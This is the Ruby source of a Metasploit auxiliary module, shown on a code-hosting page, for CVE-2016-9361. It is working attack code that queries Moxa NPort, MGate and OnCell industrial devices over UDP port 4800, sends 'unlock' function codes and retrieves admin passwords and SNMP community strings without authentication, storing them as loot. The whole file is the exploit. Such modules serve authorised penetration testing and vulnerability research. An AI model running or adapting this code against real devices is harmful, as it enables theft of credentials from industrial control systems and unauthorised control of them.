Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'Moxa Device Credential Retrieval',12'Description' => %q{13The Moxa protocol listens on 4800/UDP and will respond to broadcast14or direct traffic. The service is known to be used on Moxa devices15in the NPort, OnCell, and MGate product lines. Many devices with16firmware versions older than 2017 or late 2016 allow admin credentials17and SNMP read and read/write community strings to be retrieved without18authentication.1920This module is the work of Patrick DeSantis of Cisco Talos and K. Reid21Wightman.2223Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,24and NPort 5110 firmware 2.6.2526},27'Author' =>28[29'Patrick DeSantis <p[at]t-r10t.com>',30'K. Reid Wightman <reid[at]revics-security.com>'31],3233'License' => MSF_LICENSE,34'References' =>35[36[ 'CVE', '2016-9361'],37[ 'BID', '85965'],38[ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'],39[ 'URL', 'https://github.com/reidmefirst/MoxaPass/blob/master/moxa_getpass.py' ],40[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-02']41],42'DisclosureDate' => '2015-07-28'))4344register_options([45# Moxa protocol listens on 4800/UDP by default46Opt::RPORT(4800),47OptEnum.new("FUNCTION", [true, "Pull credentials or enumerate all function codes", "CREDS",48[49"CREDS",50"ENUM"51]])52])53end5455def fc() {56# Function codes57'ident' => "\x01", # identify device58'name' => "\x10", # get the "server name" of the device59'netstat' => "\x14", # network activity of the device60'unlock1' => "\x16", # "unlock" some devices, including 5110, MGate61'date_time' => "\x1a", # get the device date and time62'time_server' => "\x1b", # get the time server of device63'unlock2' => "\x1e", # "unlock" 6xxx series devices64'snmp_read' => "\x28", # snmp community strings65'pass' => "\x29", # admin password of some devices66'all_creds' => "\x2c", # snmp comm strings and admin password of 6xxx67'enum' => "enum" # mock fc to catch "ENUM" option68}69end7071def send_datagram(func, tail)72if fc[func] == "\x01"73# identify datagrams have a length of 8 bytes and no tail74datagram = fc[func] + "\x00\x00\x08\x00\x00\x00\x00"75begin76udp_sock.put(datagram)77response = udp_sock.get(3)78rescue ::Timeout::Error79end80format_output(response)81# the last 16 bytes of the ident response are used as a form of auth for82# function codes other than 0x0183tail = response[8..24]84elsif fc[func] == "enum"85for i in ("\x02".."\x80") do86# start at 2 since 0 is invalid and 1 is ident87datagram = i + "\x00\x00\x14\x00\x00\x00\x00" + tail88begin89udp_sock.put(datagram)90response = udp_sock.get(3)91end92if response[1] != "\x04"93vprint_status("Function Code: #{Rex::Text.to_hex_dump(datagram[0])}")94format_output(response)95end96end97else98# all non-ident datagrams have a len of 14 bytes and include a tail that99# is comprised of bytes obtained during the ident100datagram = fc[func] + "\x00\x00\x14\x00\x00\x00\x00" + tail101begin102udp_sock.put(datagram)103response = udp_sock.get(3)104if valid_resp(fc[func], response) == -1105# invalid response, so don't bother trying to parse it106return107end108if fc[func] == "\x2c"109# try this, note it may fail110get_creds(response)111end112if fc[func] == "\x29"113# try this, note it may fail114get_pass(response)115end116if fc[func] == "\x28"117# try this, note it may fail118get_snmp_read(response)119end120rescue ::Timeout::Error121end122format_output(response)123end124end125126# helper function for extracting strings from payload127def get_string(data)128str_end = data.index("\x00")129return data[0..str_end]130end131132# helper function for extracting password from 0x29 FC response133def get_pass(response)134if response.length() < 200135print_error("get_pass failed: response not long enough")136return137end138pass = get_string(response[200..-1])139print_good("password retrieved: #{pass}")140store_loot("moxa.get_pass.admin_pass", "text/plain", rhost, pass)141return pass142end143144# helper function for extracting snmp community from 0x28 FC response145def get_snmp_read(response)146if response.length() < 24147print_error("get_snmp_read failed: response not long enough")148return149end150snmp_string = get_string(response[24..-1])151print_good("snmp community retrieved: #{snmp_string}")152store_loot("moxa.get_pass.snmp_read", "text/plain", rhost, snmp_string)153end154155# helper function for extracting snmp community from 0x2C FC response156def get_snmp_write(response)157if response.length() < 64158print_error("get_snmp_write failed: response not long enough")159return160end161snmp_string = get_string(response[64..-1])162print_good("snmp read/write community retrieved: #{snmp_string}")163store_loot("moxa.get_pass.snmp_write", "text/plain", rhost, snmp_string)164end165166# helper function for extracting snmp and pass from 0x2C FC response167# Note that 0x2C response is basically 0x28 and 0x29 mashed together168def get_creds(response)169if response.length() < 200170# attempt failed. device may not be unlocked171print_error("get_creds failed: response not long enough. Will fall back to other functions")172return -1173end174get_snmp_read(response)175get_snmp_write(response)176get_pass(response)177end178179# helper function to verify that the response was actually for our request180# Simply makes sure the response function code has most significant bit181# of the request number set182# returns 0 if everything is ok183# returns -1 if functions don't match184def valid_resp(func, resp)185# get the query function code to an integer186qfc = func.unpack("C")[0]187# make the response function code an integer188rfc = resp[0].unpack("C")[0]189if rfc == (qfc + 0x80)190return 0191else192return -1193end194end195196def format_output(resp)197# output response bytes as hexdump198vprint_status("Response:\n#{Rex::Text.to_hex_dump(resp)}")199end200def check201connect_udp202203begin204# send the identify command205udp_sock.put("\x01\x00\x00\x08\x00\x00\x00\x00")206response = udp_sock.get(3)207end208209if response210# A valid response is 24 bytes, starts with 0x81, and contains the values211# 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.212if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24213format_output(response)214return Exploit::CheckCode::Appears215end216else217vprint_error("Unknown response")218return Exploit::CheckCode::Unknown219end220cleanup221222Exploit::CheckCode::Safe223end224225def run226unless check == Exploit::CheckCode::Appears227print_error("Aborted because the target does not seem vulnerable.")228return229end230231function = datastore["FUNCTION"]232233connect_udp234235# identify the device and get bytes for the "tail"236tail = send_datagram('ident', nil)237238# get the "server name" from the device239send_datagram('name', tail)240241# "unlock" the device242# We send both versions of the unlock FC, this doesn't seem243# to hurt anything on any devices tested244send_datagram('unlock1', tail)245send_datagram('unlock2', tail)246247if function == "CREDS"248# grab data249send_datagram('all_creds', tail)250send_datagram('snmp_read', tail)251send_datagram('pass', tail)252elsif function == "ENUM"253send_datagram('enum', tail)254else255print_error("Invalid FUNCTION")256end257258disconnect_udp259end260end261262263